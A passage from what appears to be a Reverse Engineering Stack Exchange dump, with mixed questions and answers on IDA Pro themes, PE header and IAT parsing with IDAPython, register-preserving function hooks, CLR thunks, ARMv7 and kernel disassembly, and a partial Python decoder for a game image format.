say_wait(t_comma); if (a0==' ') say_wait(t_space); } } //---------------------------------------------------------------------- void say_wait(WORD ws) { for (;ws;ws--) sound_out(_sound_on); } //---------------------------------------------------------------------- void say_char(char chr) // chr = &lt; `A` , `Z`+26 &gt; { WORD a; BYTE ws,pcm; int i,j,e,num,pcm_ix,bits; i=tab_char[chr-'A']; for (e=1;e;i++) { a=tab_RLE[i]; e =!(a &amp;0x8000); num = (a&gt;&gt;10)&amp;0x001F; pcm_ix= a &amp;0x03FF; for (;num;num--) { for (j=pcm_ix,bits=tab_PCM[j],j++;bits;j++) for (pcm=tab_PCM[j],a=0x80;(bits)&amp;&amp;(a);a&gt;&gt;=1,bits--) for (_sound_on=(a&amp;pcm),ws=t_speed;ws;ws--) sound_out(_sound_on); say_wait(t_pause); } } } //--------------------------------------------------------------------------- #endif //--------------------------------------------------------------------------- </code></pre>
Understand/Reverse simple (but good quality) TTS engine
|c++|audio|
<p>There is no instruction for pushing xmm registers, but you can do as follow:</p> <pre><code>__asm { sub esp, 16 movdqu [esp], xmm0 sub esp, 16 movdqu [esp], xmm1 pushad } MyExternalFunction(); __asm { popad movdqu xmm1, [esp] add esp, 16 movdqu xmm0, [esp] add esp, 16 jmp AddressOfHookFunction } </code></pre>
26547
2020-12-15T12:10:33.533
<p>I need to hook this function:</p> <pre><code>.text:005589CB sub_5589CB proc near ; CODE XREF: AddHealth(int,long)+1A↑j .text:005589CB ; sub_5328D8+98E↑p ... .text:005589CB .text:005589CB var_4 = dword ptr -4 .text:005589CB .text:005589CB xorps xmm0, xmm0 .text:005589CE ucomiss xmm1, xmm0 .text:005589D1 lahf .text:005589D2 test ah, 44h .text:005589D5 jnp short locret_558A1D .text:005589D7 movss xmm2, dword ptr [ecx+564h] .text:005589DF comiss xmm2, xmm0 .text:005589E2 jbe short locret_558A1D .text:005589E4 cmp ecx, dword_89A288 .text:005589EA jnz short loc_5589FF .text:005589EC comiss xmm1, xmm0 .text:005589EF ja short loc_5589FF .text:005589F1 mov eax, dword_8CF880 .text:005589F6 cmp byte ptr [eax+4BBh], 0 .text:005589FD jnz short locret_558A1D .text:005589FF .text:005589FF loc_5589FF: ; CODE XREF: sub_5589CB+1F↑j .text:005589FF ; sub_5589CB+24↑j .text:005589FF movss xmm0, dword ptr [ecx+560h] .text:00558A07 mov eax, [ecx] .text:00558A09 addss xmm0, xmm1 .text:00558A0D push ecx .text:00558A0E minss xmm0, xmm2 .text:00558A12 movss [esp+4+var_4], xmm0 .text:00558A17 call dword ptr [eax+144h] .text:00558A1D .text:00558A1D locret_558A1D: ; CODE XREF: sub_5589CB+A↑j .text:00558A1D ; sub_5589CB+17↑j ... .text:00558A1D retn .text:00558A1D sub_5589CB endp .text:00558A1D .text:00558A1E ; --------------------------------------------------------------------------- .text:00558A1E mov eax, [ecx+420h] .text:00558A24 retn </code></pre> <p>here IDA pseudocode:</p> <pre><code>void *__usercall sub_5589CB@&lt;eax &gt; (float *a1@&lt;ecx &gt; , char a2@&lt;efl &gt; , float a3@&lt;xmm1 &gt; ) </code></pre> <p>In the past I have hooked without problems other naked functions with a code like this:</p> <pre><code>__declspec(naked) void * HookFunction(float *a1 , char a2, float a3) { __asm { pushad // backup general purpose registers } MyExternalFunction(); __asm { popad // restore general purpose registers jmp AddressOfHookFunction } } </code></pre> <p>but this time there are some CPU registers like &quot;xmm1&quot; that are not cover with pushad/popad and the result is that the function lose the values of the registry if I call &quot;MyExternalFunction&quot;.</p> <p>There is a way to backup/restore efl and xmm1 registers ?</p> <p>Thanks !</p>
Hook naked function with CPU registers
|c++|function-hooking|assembly|
<p>IDA Pro dropped support for the <code>.clr</code> theme format in favour of CSS themes <a href="https://www.hex-rays.com/products/ida/news/7_3/#regular-page" rel="nofollow noreferrer">upon the release of the 7.3 update</a>. In order to port older <code>.clr</code> themes to the current format you can use a Python script that Hex-Rays provide <a href="https://www.hex-rays.com/wp-content/uploads/2019/10/port_clr72_to_css.py" rel="nofollow noreferrer">here</a>.</p> <p>e.g. <code>port_clr72_to_css.py -i {theme}.clr &gt; {theme}.css</code> to produce a CSS formatted theme which can be placed in the relevant directory of your IDA 7.5 install: <code>$IDA_INSTALL/themes/{theme}/{theme}.css</code>.</p> <p>Further documentation on the new themes can be found on <a href="https://www.hex-rays.com/products/ida/support/tutorials/themes/" rel="nofollow noreferrer">Hex-Rays site</a>.</p>
26556
2020-12-16T07:16:38.070
<p>For the past few years I've been using an ida color scheme which I created, that was very easy on my eyes with the previous versions of <strong>IDA Pro</strong> (<strong>&lt;7.0</strong>). However, after start using version <strong>7.5</strong> I cannot see any option to import colors from <code>.clr</code> files or export the current ones.</p> <p><strong>IDA Pro 7.0</strong>:</p> <p><a href="https://i.stack.imgur.com/FnkG2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/FnkG2.png" alt="enter image description here" /></a></p> <p><strong>IDA Pro 7.5</strong>:</p> <p><a href="https://i.stack.imgur.com/SArl3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/SArl3.png" alt="enter image description here" /></a></p> <p>It seems to be a lot of font options are missing from the new version as well.</p> <p><strong>IDA Pro 7.0 Fonts</strong>:</p> <p><a href="https://i.stack.imgur.com/DAqMR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/DAqMR.png" alt="enter image description here" /></a></p> <p><strong>IDA Pro 7.5 Fonts</strong>:</p> <p><a href="https://i.stack.imgur.com/pdSk6.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pdSk6.png" alt="enter image description here" /></a></p> <p>I don't have a lot of experience with IDA gui. I'd appreciate any help.</p> <p><strong>EDIT:</strong></p> <p>I fixed the font problem by installing the desired font. However I still cannot figure out how to import <code>.clr</code> files</p>
IDA pro 7.5 - No previous fonts / color imports
|ida|disassemblers|
<p>There’s no built-in functionality for that, it’s too target-specific to be useful as standard API. What you <em>can</em> do is to retrieve the list of exports and/or imports for the file which was used to create the database. If you need the low-level IAT details you’ll have to parse it manually from memory or database (not sure if database keeps enough information so you may need to go back to the input file).</p>
26558
2020-12-16T07:46:38.277
<p>Is it possible to parse the IAT using IDApython?</p> <p>i know how to do it with python libraries like lief, but i was wondering if IDApython also has an ability to parse IAT or not?</p>
How to parse the IAT using IDApython?
|ida|idapython|ida-plugin|
<p>And if you ever feel the need to do it manually or in an environment other than IDA, you might find this useful.</p> <pre><code>class AttrDict(dict): def __init__(self, *args, **kwargs): super(AttrDict, self).__init__(*args, **kwargs) self.__dict__ = self class section_header(object): packstring = '8BIIIIIIHHI' packcount = 16 packchunk = 17 packinfo = [ [ 'B', 'Name', 8, 'string' ], [ 'I', 'VirtualSize' ], [ 'I', 'VirtualAddress' ], [ 'I', 'SizeOfRawData' ], [ 'I', 'PointerToRawData' ], [ 'I', 'PointerToRelocations' ], [ 'I', 'PointerToLinenumbers' ], [ 'H', 'NumberOfRelocations' ], [ 'H', 'NumberOfLinenumbers' ], [ 'I', 'Characteristics' ] ] def __str__(self): return &quot;{:32} {} - {}&quot;.format(self.name(), hex(self.base + self.data.VirtualAddress), hex(self.base + self.data.VirtualAddress + self.data.VirtualSize)) def __repr__(self): return &quot;&lt;{} '{}'&gt;&quot;.format(str(__class__)[1:-2].split('.', 2)[1], self.name()) def __init__(self, base, data): self.base = base self.data = AttrDict() for i in range(len(self.packinfo)): count = 1 if len(self.packinfo[i]) &gt; 2: count = self.packinfo[i][2] l = [] for unused in range(count): l.append(data.pop(0)) if len(self.packinfo[i]) &gt; 3: iteratee = self.packinfo[i][3] fn = getattr(self, iteratee) result = (fn(l)) else: result = (l) else: result = (data.pop(0)) self.data[self.packinfo[i][1]] = result def name(self): return self.data.Name def empty(self): return self.data.VirtualSize == 0 and self.data.VirtualAddress == 0 def string(self, data): return ''.join([chr(x) for x in data]).rstrip('\0') class data_directory(section_header): names = [ &quot;Export Directory&quot;, &quot;Import Directory&quot;, &quot;Resource Directory&quot;, &quot;Exception Directory&quot;, &quot;Security Directory&quot;, &quot;Base Relocation Table&quot;, &quot;Debug Directory&quot;, &quot;Architecture Specific Data&quot;, &quot;RVA of GP&quot;, &quot;TLS Directory&quot;, &quot;Load Configuration Directory&quot;, &quot;Bound Import Directory&quot;, &quot;Import Address Table&quot;, &quot;Delay Load Import Descriptors&quot;, &quot;COM Runtime descriptor&quot; ] packstring = 'II' packcount = 16 packchunk = 2 packinfo = [ [ 'I', 'VirtualAddress' ], [ 'I', 'Size' ], ] def __init__(self, base, data, number): super(data_directory, self).__init__(base, data) if number &lt; len(self.names): self.data.Name = self.names[number] else: self.data.Name = 'Unknown' def __str__(self): return &quot;{:32} {} - {}&quot;.format(self.name(), hex(self.base + self.data.VirtualAddress), hex(self.base + self.data.VirtualAddress + self.data.Size)) def empty(self): return self.data.Size == 0 and self.data.VirtualAddress == 0 class WinPE(object): &quot;&quot;&quot; example usage: w = WinPE(64) print(w.nt.SizeOfCode) print(w.dos.e_lfanew) print(w.get_rva(w.nt.BaseOfCode)) &quot;&quot;&quot; _nt_nam_32 = [ &quot;Signature&quot;, &quot;Machine&quot;, &quot;NumberOfSections&quot;, &quot;TimeDateStamp&quot;, &quot;PointerToSymbolTable&quot;, &quot;NumberOfSymbols&quot;, &quot;SizeOfOptionalHeader&quot;, &quot;Characteristics&quot;, &quot;Magic&quot;, &quot;MajorLinkerVersion&quot;, &quot;MinorLinkerVersion&quot;, &quot;SizeOfCode&quot;, &quot;SizeOfInitializedData&quot;, &quot;SizeOfUninitializedData&quot;, &quot;AddressOfEntryPoint&quot;, &quot;BaseOfCode&quot;, &quot;BaseOfData&quot;, &quot;ImageBase&quot;, &quot;SectionAlignment&quot;, &quot;FileAlignment&quot;, &quot;MajorOperatingSystemVersion&quot;, &quot;MinorOperatingSystemVersion&quot;, &quot;MajorImageVersion&quot;, &quot;MinorImageVersion&quot;, &quot;MajorSubsystemVersion&quot;, &quot;MinorSubsystemVersion&quot;, &quot;Win32VersionValue&quot;, &quot;SizeOfImage&quot;, &quot;SizeOfHeaders&quot;, &quot;CheckSum&quot;, &quot;Subsystem&quot;, &quot;DllCharacteristics&quot;, &quot;SizeOfStackReserve&quot;, &quot;SizeOfStackCommit&quot;, &quot;SizeOfHeapReserve&quot;, &quot;SizeOfHeapCommit&quot;, &quot;LoaderFlags&quot;, &quot;NumberOfRvaAndSizes&quot; ] _nt_nam_64 = _nt_nam_32.copy() _nt_nam_64.remove('BaseOfData') _dos_nam = ['e_magic', 'e_cblp', 'e_cp', 'e_crlc', 'e_cparhdr', 'e_minalloc', 'e_maxalloc', 'e_ss', 'e_sp', 'e_csum', 'e_ip', 'e_cs', 'e_lfarlc', 'e_ovno', 'e_res_0', 'e_res_1', 'e_res_2', 'e_res_3', 'e_oemid', 'e_oeminfo', 'e_res2_0', 'e_res2_1', 'e_res2_2', 'e_res2_3', 'e_res2_4', 'e_res2_5', 'e_res2_6', 'e_res2_7', 'e_res2_8', 'e_res2_9', 'e_lfanew' ] _dos_fmt = 'HHHHHHHHHHHHHH4HHH10Hi' _sig_fmt = 'I' _img_fmt = 'HHIIIHH' _dir_fmt = data_directory.packstring * data_directory.packcount _sec_fmt = section_header.packstring * section_header.packcount _nt_fmt_32 = _sig_fmt + _img_fmt + &quot;HBBIIIIIIIIIHHHHHHIIIIHHIIIIII&quot; \ + _dir_fmt + _sec_fmt _nt_fmt_64 = _sig_fmt + _img_fmt + &quot;HBBIIIIIQIIHHHHHHIIIIHHQQQQII&quot; \ + _dir_fmt + _sec_fmt def __init__(self, bits=64, base=None): if bits not in (32, 64): raise RuntimeError(&quot;bits must be 32 or 64&quot;) if base is None: import idaapi base = idaapi.cvar.inf.min_ea self.bits = bits self.base = base self.dos = self.unpack(self.get_rva(0), self._dos_nam, self._dos_fmt) self.nt = self.unpack( self.get_rva(self.dos.e_lfanew), getattr(self, &quot;_nt_nam_%i&quot; % bits), getattr(self, &quot;_nt_fmt_%i&quot; % bits)) t2s = data_directory.packcount * data_directory.packchunk t4s = section_header.packcount * section_header.packchunk self.dirs = [y for y in [data_directory(base, x[1], x[0]) \ for x in enumerate(chunk_list(self._overspill[0:t2s], \ data_directory.packchunk))] \ if not y.empty()] self.sections = [y for y in [section_header(base, x) \ for x in chunk_list(self._overspill[t2s:t2s+t4s], \ section_header.packchunk)] \ if not y.empty()] self.end = self.base + self.nt.SizeOfCode; self.size = self.nt.SizeOfImage; print(&quot;-- DOS Header --&quot;) for k, s in self.dos.items(): print(&quot;{:32} {}&quot;.format(k, hex(s))) print(&quot;-- NT Header --&quot;) for k, s in self.nt.items(): print(&quot;{:32} {}&quot;.format(k, hex(s))) print(&quot;-- Directories --&quot;) for s in self.dirs: print(s) print(&quot;-- Segments --&quot;) for s in self.sections: print(s) def get_rva(self, offset): return self.base + offset def zipObject(self, keys, values): result = {} for x in zip(keys, values): result[x[0]] = x[1] return result def unpack(self, ea, names, fmt): d = struct.unpack(fmt, idc.get_bytes(ea, struct.calcsize(fmt))) o = self.zipObject(names, d) self._overspill = list(d[len(names):]) return AttrDict(o) def chunk_list(lst, n): &quot;&quot;&quot;Yield successive n-sized chunks from lst.&quot;&quot;&quot; for i in range(0, len(lst), n): yield lst[i:i + n] </code></pre>
26559
2020-12-16T07:49:46.223
<p>I am trying to move some of my PE parsing into IDApython, i know how to do this with libraries like lief, but is it possible to parse the PE headers using IDA python, just like lief? i want to get all the info from the header like is debug info present and is the file signed and the compilation time and so on.</p> <p>how to parse PE headers using IDApython? any guide? tried googling but there is nothing.</p>
How to parse the NT headers and section headers of a PE file using IDApython?
|ida|idapython|ida-plugin|
<p>It seems you are talking about debugging information. You can use a compilation switch such as <code>/Zi</code> to generate a PDB file with debugging information which can then be used by IDA to label your functions and variables in the disassembly.</p> <p>Note that some information is lost anyway: comments, preprocess or definitions, or any code or data which has been optimized out and removed.</p>
26565
2020-12-16T19:26:49.157
<p>I ask if exist some c compiler option that can &quot;keep&quot; some imformation after compile that can be visible when I disassamble with IDA.</p> <p>This because I need to find a particular funciton with IDA but without a &quot;flag&quot; is not easy.</p> <p>In short I have a function called &quot;Sbar_Draw&quot; and I like to write inside a message for example:</p> <pre><code>char * test; test = &quot;This is the function name: Sbar_Draw/n&quot;; </code></pre> <p>I have already tried to do it, but after disassably with IDA this information seem lost.</p> <p>There is some compile option (or other way) that allow me to easy find a function when I disassambly with IDA ?</p> <p>Thank you !</p>
Visual c compiler options
|ida|disassembly|c|disassemblers|
<p>Usually it’s not possible because one process must control the other and most debugging commands (e.g. reading or writing registers) need the target process to be stopped.</p> <p>A common approach is run a copy of itself as a separate process (can be done on Unix systems using fork()) and debug that. In theory you could implement a custom debug-like functionality using signal or exception handlers or low level APIs but this is definitely something that would require a lot of work and unlikely to be very robust.</p>
26566
2020-12-16T20:06:52.613
<p>What happens if you try to debug yourself ? I mean, does the process crash ? If it is possible, how would you implement it ?</p> <p>I have tried launching x64dbg and I can't attach to my own x64dbg process.</p> <p>Thank you!</p>
Is it possible for a process to debug itself?
|windows|debugging|debuggers|
<h2>PART 1</h2> <p>The PE import thunks do not work the same way as ELF PLT. There is no dynamic resolver invoked on the first call but all import pointers are resolved at the process startup ahead of time (similar to <code>LD_BIND_NOW</code>). The pointers are grouped in a GOT-like Import Address Table (IAT) and the metadata with the details about the DLLs and symbols imported is stored in the Import Directory which is referred to by the PE header.</p> <p>To recover the symbols you need to parse the import directory. The details can be found in the official <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format" rel="nofollow noreferrer">PE format specification.</a></p> <h2>PART2</h2> <p>After your edit, it seems you're dealing with a <strong>native to managed code thunk</strong>.</p> <p>I've done the following experiment to produce a <a href="https://docs.microsoft.com/en-us/cpp/dotnet/mixed-native-and-managed-assemblies" rel="nofollow noreferrer">mixed executable</a>:</p> <p><code>m.cpp</code> (Managed code):</p> <pre><code>using namespace System; void hello() { String^ str = &quot;Hello World&quot;; Console::WriteLine(str); } </code></pre> <p><code>n.cpp</code> (Native code):</p> <pre><code>void hello(); void main() { hello(); } </code></pre> <p>Compile and link:</p> <pre><code>cl /c /clr /Zi m.cpp cl /c /Zi n.cpp link /debug /out:mixed.exe m.obj n.obj </code></pre> <p>After disassembling the native part (and getting symbols thanks to the PDB), I could observe the following:</p> <pre><code>.text:00007FF798E81090 main proc near .text:00007FF798E81090 sub rsp, 28h .text:00007FF798E81094 call ?hello@@YAXXZ ; hello(void) .text:00007FF798E81099 xor eax, eax .text:00007FF798E8109B add rsp, 28h .text:00007FF798E8109F retn .text:00007FF798E8109F main endp </code></pre> <p>Following the call:</p> <pre><code>.nep:00007FF798ECC000 ?hello@@YAXXZ proc near .nep:00007FF798ECC000 jmp short loc_7FF798ECC00A .nep:00007FF798ECC002 ud2 .nep:00007FF798ECC004 jmp cs:__m2mep@?hello@@$$FYAXXZ .nep:00007FF798ECC00A loc_7FF798ECC00A: .nep:00007FF798ECC00A jmp cs:__mep@?hello@@$$FYAXXZ .nep:00007FF798ECC00A ?hello@@YAXXZ endp </code></pre> <p>And finally, following the <code>jmp</code>:</p> <pre><code>.data:00007FF798EE7000 __m2mep@?hello@@$$FYAXXZ dq 6000001h .data:00007FF798EE7008 __mep@?hello@@$$FYAXXZ dq 6000001h </code></pre> <p>The value 6000001 is a <a href="https://iobservable.net/blog/2013/05/12/introduction-to-clr-metadata/" rel="nofollow noreferrer"><em>CLR Token</em></a>. The high byte byte is the token kind, or the metadata table index, in this case 0x6 meaning <em>Method</em>. Looking it up in a .NET viewer such as ILDASM or dnSpy we can see that it refers to the managed method &quot;hello&quot; with the RVA <code>000010a0</code>. Going to that address we see:</p> <pre><code>.text:00007FF798E810A0 ?hello@@$$FYAXXZ: .text:00007FF798E810A0 add esi, [rax] .text:00007FF798E810A2 add [rax], eax .text:00007FF798E810A4 sldt word ptr [rax] .text:00007FF798E810A7 add [rdx], al .text:00007FF798E810A9 db 2 dup(0), 11h .text:00007FF798E810AC hello: .text:00007FF798E810AC adc al, 0Ah .text:00007FF798E810AE jb short loc_7FF798E810B1 .text:00007FF798E810B0 db 0 .text:00007FF798E810B1 loc_7FF798E810B1: .text:00007FF798E810B1 add [rax+0Ah], dh .text:00007FF798E810B4 dd 22806h .text:00007FF798E810B8 db 0, 0Ah, 2Ah, 0CCh </code></pre> <p>It does not make any sense as x64 code so this is obviously CLI bytecode and should be checked with a .net decompiler. Strangely, none of those I tried seems to show the function but I managed to get the IL disassembly from ILDASM:</p> <pre><code>.method /*06000001*/ assembly static void modopt([mscorlib/*23000001*/]System.Runtime.CompilerServices.CallConvCdecl/*01000001*/) hello() cil managed { .vtentry 1 : 1 // Code size 15 (0xf) .maxstack 1 .locals /*11000002*/ ([0] string str) IL_0000: ldnull IL_0001: stloc.0 IL_0002: ldstr &quot;Hello World&quot; /* 70000001 */ IL_0007: stloc.0 IL_0008: ldloc.0 IL_0009: call void [mscorlib/*23000001*/]System.Console/*01000003*/::WriteLine(string) /* 0A000002 */ IL_000e: ret } // end of global method hello </code></pre> <p>You can probably follow a similar approach and look up the token 0x06000094 in the metadata tables or IL disassembly to figure out the destination of the jump in managed code.</p> <p>Random observations:</p> <p>The segment <code>.nep</code> seems to mean &quot;native entrypoint&quot;</p> <p>The prefix <code>__mep</code> in the token name <em>probably</em> means &quot;managed entrypoint&quot;.</p>
26567
2020-12-16T21:20:36.200
<p>I just started working my way to reversing Windows binaries and I stumbled upon the Import Address Table. When reversing a particular DLL I encountered many thunk-functions which all supposedly referenced the IAT. From my experience on Linux I guessed that this is somewhat similar to the procedure linkage table (or rather the global offset table I suppose). Based on that I would assume that the linking process is similar, though I cannot seem to find detailed information on that. Any help would be appreciated.</p> <p>Furthermore I was wondering whether you could resolve these thunks without ever running the binary. In particular because it is in fact a DLL that I am analyzing the information to resolve these should be available already? Though I cannot really make sense out of the information available.</p> <p>Just to be sure I am not completely off, here is an example of what I am talking about:</p> <pre><code>void THUNK_FUN_18002d97a(void) { (*_DAT_18005ba68)(); return; } </code></pre> <p>Memory at the address (in section <code>.data</code>):</p> <pre><code>0x18005ba68: 94 00 00 06 00 00 00 00 </code></pre> <p>Edit: Thanks for the input. I now feel like I misunderstood the purpose of the IAT. So consider the following scenario: We have a PE executable A which imports symbols from a DLL B.</p> <ol> <li>The <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-directory-table" rel="nofollow noreferrer">import directory table</a> is used in A, whereas in B a corresponding entry has to be found in the <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table" rel="nofollow noreferrer">export directory table</a>. Is that correct?</li> <li>In the DLL (B) I am investigating the thunks mentioned are neither imported nor exported symbols. So what may I be witnessing?</li> <li>The overall process must be looking something like this: <ol> <li>A is executed. All needed DLLs are searched and linked (this is called binding in this context?)</li> <li>This causes B to be actually loaded at some address. Now symbols from B in A can be resolved (using the import directory table). Is B necessarily position independent? I read about preferred base addresses and conditional re-location of the whole binary if it cannot be matched. Is this still correct?</li> <li>I still do not see a point why the second layer jump table I encountered is needed.</li> </ol> </li> </ol>
Statically recovering thunks in Windows x86_64 DLL
|windows|dll|iat|
<p>This is probably because <code>*ledTimer</code> is volatile. Here's a short bit of code that produces a similar result:</p> <pre><code>int main() { volatile unsigned short *ledTimer{(unsigned short *)0x14f36}; for (--(*ledTimer); *ledTimer; --(*ledTimer)); } </code></pre> <p>Now compile with gcc 8.3.1 with <code>-march=armv7 -O1</code> and we get something that starts to resemble what you've listed:</p> <pre><code>main: movw r2, #20278 movt r2, 1 ldrh r3, [r2] subs r3, r3, #1 uxth r3, r3 strh r3, [r2] @ movhi ldrh r3, [r2] uxth r3, r3 cbz r3, .L2 movw r2, #20278 movt r2, 1 .L3: ldrh r3, [r2] subs r3, r3, #1 uxth r3, r3 strh r3, [r2] @ movhi ldrh r3, [r2] uxth r3, r3 cmp r3, #0 bne .L3 .L2: movs r0, #0 bx lr </code></pre> <p>You can <a href="https://gcc.godbolt.org/z/nseG19" rel="nofollow noreferrer">try it live</a>.</p>
26568
2020-12-16T23:32:09.907
<p>I’m working with a disassembled ARMv7 binary. There are several instances where groups of instructions seem sub-optimal, but this one really caught my attention:</p> <pre><code>00009086 movw r3, #0x4f36 0000908a movt r3, #0x1 ; ledTimer 0000908e ldrh r3, [r3] ; ledTimer 00009090 subs r3, #0x1 00009092 uxth r2, r3 00009094 movw r3, #0x4f36 00009098 movt r3, #0x1 ; ledTimer 0000909c strh r2, [r3] ; ledTimer 0000909e movw r3, #0x4f36 000090a2 movt r3, #0x1 ; ledTimer 000090a6 ldrh r3, [r3] ; ledTimer 000090a8 cmp r3, #0x0 000090aa bne.w loc_9250 </code></pre> <p>Since <code>loc_9250</code> is the beginning of the epilogue, I interpreted this section as:</p> <pre><code>if (--ledTimer != 0) { return; } </code></pre> <p>Am I missing something about the ARMv7 architecture that makes all these instructions necessary (besides my disassembler not substituting the pseudo-<code>mov32</code> for the <code>movw</code>/<code>movt</code> pairs)? It seems like a very inefficient way of going about this sequence of operations. Or perhaps this is just the result of a compiler with optimisation settings cranked right down.</p>
Understanding ARMv7 seemingly overly verbose disassembly
|disassembly|arm|
<p>Your translation is wrong. The two BIC instructions clear the 13 low bits of the stack pointer (1FC0|3F = 1FFF). In kernel mode, this produces a pointer to the<a href="https://stackoverflow.com/q/43176500"> <code>thread_info</code> structure</a> for the current thread.</p> <p>The <code>ldr</code> then reads the field at offset 8 in it which <a href="https://elixir.bootlin.com/linux/v4.3/source/arch/arm/include/asm/thread_info.h" rel="nofollow noreferrer">seems to be <code>addr_limit</code></a> and <code>r3+1</code> apparently should not exceed it.</p> <p>Combined, the code matches this helper from <code>uaccess.h</code>:</p> <pre><code>#define __range_ok(addr, size) ({ \ unsigned long flag, roksum; \ __chk_user_ptr(addr); \ __asm__(&quot;adds %1, %2, %3; sbcccs %1, %1, %0; movcc %0, #0&quot; \ : &quot;=&amp;r&quot; (flag), &quot;=&amp;r&quot; (roksum) \ : &quot;r&quot; (addr), &quot;Ir&quot; (size), &quot;0&quot; (current_thread_info()-&gt;addr_limit) \ : &quot;cc&quot;); \ flag; }) </code></pre>
26581
2020-12-18T16:45:41.837
<p>This is the section of disassembled code in question. It’s from a Linux kernel module compiled for 4.4.16 on ARMv7.</p> <pre><code> ; Registers used: ; - r3 : unsigned long argp 0000005c mov r1, sp 00000060 bic r2, r1, #0x1fc0 00000064 bic r2, r2, #0x3f 00000068 ldr r4, [r2, #0x8] 0000006c adds r1, r3, #0x1 00000070 sbcslo r1, r1, r4 00000074 movlo r4, #0x0 00000078 cmp r4, #0x0 0000007c bne loc_dc </code></pre> <p>The stack at this point looks like this:</p> <pre><code>00 &lt;- SP 04 [padding] 07 u8 arg_kernel 08 pushed[r4] 0c pushed[r5] 10 pushed[r6] 14 pushed[lr] 18 &lt;Previous SP&gt; </code></pre> <p>Here’s how I decoded this assembly into pseudo-C:</p> <pre><code>r4 = *(SP &amp; 0xe000 + 8); r1 = argp + 1; if (r1 overflowed) { r1 -= r4; r4 = 0; } if (r4 == 0) { /* jump */ } </code></pre> <p>If I got this right, I don’t really understand the purpose of this code. If I made a mistake, I <em>really</em> don’t understand it. Can anyone offer any insight into the purpose of these operations?</p>
Why would just two bits of the SP be used here?
|disassembly|linux|arm|kernel|
<p>The images are packed, data is little-endian where it matters.</p> <p>General format:</p> <pre><code>struct CGFHeader { uint32_t magic; uint32_t flags; uint32_t frame_count; uint32_t frame_metadata_size; uint32_t frame_payload_size; uint32_t unk1; uint32_t unk2; }; </code></pre> <p>Then repeated <code>frame_count</code> times, starting at <code>+0x1c</code>:</p> <pre><code>struct FrameMeta { uint32_t unk1; uint32_t unk2; uint32_t width; uint32_t height; uint32_t unk3; uint32_t payload_offset; }; </code></pre> <p>For frame N, the payload data starts at <code>sizeof(CGFHeader) + cgf_header.frame_count*sizeof(FrameMeta) + frame_meta[N].payload_offset</code> (i.e. at the corresponding <code>payload_offset</code>, based immediately after the metadata structs).</p> <p>Each line/row of the packed image data is packed independently. Each line is prefixed by a <code>uint32_t</code> of that line's length (including the length field). Process the packed data as follows:</p> <p>Read a method <code>uint8_t</code> and a length <code>uint8_t</code> (referred to <code>n</code> below), and process per the below table.</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th>Method</th> <th>How to process</th> </tr> </thead> <tbody> <tr> <td><code>0x00</code></td> <td>Append <code>n</code> transparent pixels. If <code>n</code> is 0, pad the line with transparent pixels to expected width.</td> </tr> <tr> <td><code>0x01</code></td> <td>Read <code>n</code> pairs of (palette_index, alpha) values from the packed data, appending to the line.</td> </tr> <tr> <td><code>0x02</code></td> <td>Read a single (palette_index, alpha) pair from the packed data. Append it to the line <code>n</code> times.</td> </tr> <tr> <td><code>0x03</code></td> <td>Read <code>n</code> palette_index values from the packed data, appending to the line.</td> </tr> <tr> <td><code>0x04</code></td> <td>Read a single palette_index from the packed data. Append it to the line <code>n</code> times.</td> </tr> </tbody> </table> </div> <p>Keep processing method <code>uint8_t</code> and a length <code>uint8_t</code> bytes from the packed data until you have the full line width.</p> <p>In order to interpret the actual color values, you'll need the corresponding palette. The two formats you've mentioned:</p> <ul> <li><code>CPAL254X3STD</code> just has (in this case) 254 RGB triplets appended after that header value.</li> <li><code>CPAL254X3ALPHA</code> is the same, but with a 0x100000 byte structure appended that gets referred to as an &quot;alpha map&quot;. I have not bothered to look at it at all.</li> </ul> <p>Rough python3 example of processing, dumping frames to 0.png, 1.png, etc in subdirectory:</p> <pre><code>import errno import os import struct import sys from PIL import Image class HugoPalette(object): def __init__(self, rawdat): assert(len(rawdat) &gt;= 12) assert(rawdat[0:4] == b'CPAL') # palette self.alpha_map = None self.entries = None num_entries = int(rawdat[4:7]) assert(rawdat[7:9] == b'X3') # rgb triples if rawdat[9:12] == b'STD': # palette assert(len(rawdat) &gt;= 12 + num_entries*3) self.entries = [] offset = 12 for n in range(num_entries): self.entries.append(struct.unpack_from(&quot;BBB&quot; ,rawdat, offset)) offset = offset + 3 elif rawdat[9:14] == b'ALPHA': # palette and alphamap assert(len(rawdat) &gt;= 14 + num_entries*3 + 0x100000) self.entries = [] offset = 14 for n in range(num_entries): self.entries.append(struct.unpack_from(&quot;BBB&quot; ,rawdat, offset)) offset = offset + 3 self.alphamap = rawdat[14 + num_entries*3:14 + num_entries*3 + 0x100000] # not sure how to interpret else: raise NotImplementedError(&quot;unknown palette type&quot;) class HugoImage(object): def __init__(self, width, height, rawdat, offset): self.width = width self.height = height rows = [] for n in range(height): (packed_line_length,) = struct.unpack_from(&quot;&lt;L&quot;, rawdat, offset) assert(len(rawdat) &gt;= offset + packed_line_length) packed_line = rawdat[offset+4:offset+packed_line_length] line = [] index = 0 # unpacking: # 00 nn = skip nn pixels [nn=00: skip to end of line] # 01 nn pp aa [pp aa ...] = insert nn entries from trailing pp, replacing alpha with aa # 02 nn pp aa = repeat pp for nn pixels, replacing alpha with aa # 03 nn pp [pp ...] = insert nn entries from trailing pp # 04 nn pp = repeat pp for nn pixels while True: method = packed_line[index] pixel_count = packed_line[index+1] index = index + 2 if method == 0: if pixel_count == 0: while(len(line) &lt; self.width): line.append((0, 0)) break line.extend([(0,0)]*pixel_count) elif method == 1: for p in range(pixel_count): line.append((packed_line[index], packed_line[index+1])) index = index + 2 elif method == 2: line.extend([(packed_line[index], packed_line[index+1])]*pixel_count) index = index + 2 elif method == 3: for p in range(pixel_count): line.append((packed_line[index],0xff)) index = index + 1 elif packed_line[index] == 4: line.extend([(packed_line[index], 0xff)]*pixel_count) index = index + 1 assert(len(line) == self.width) rows.append(line) offset = offset + 4 + index self.rows = rows def load_images(rawdat): HEADER_STRUCT_SIZE=0x1c METADATA_STRUCT_SIZE=0x18 offset = 0 assert(len(rawdat) &gt;= offset + HEADER_STRUCT_SIZE) (magic, _, count, metadata_size, 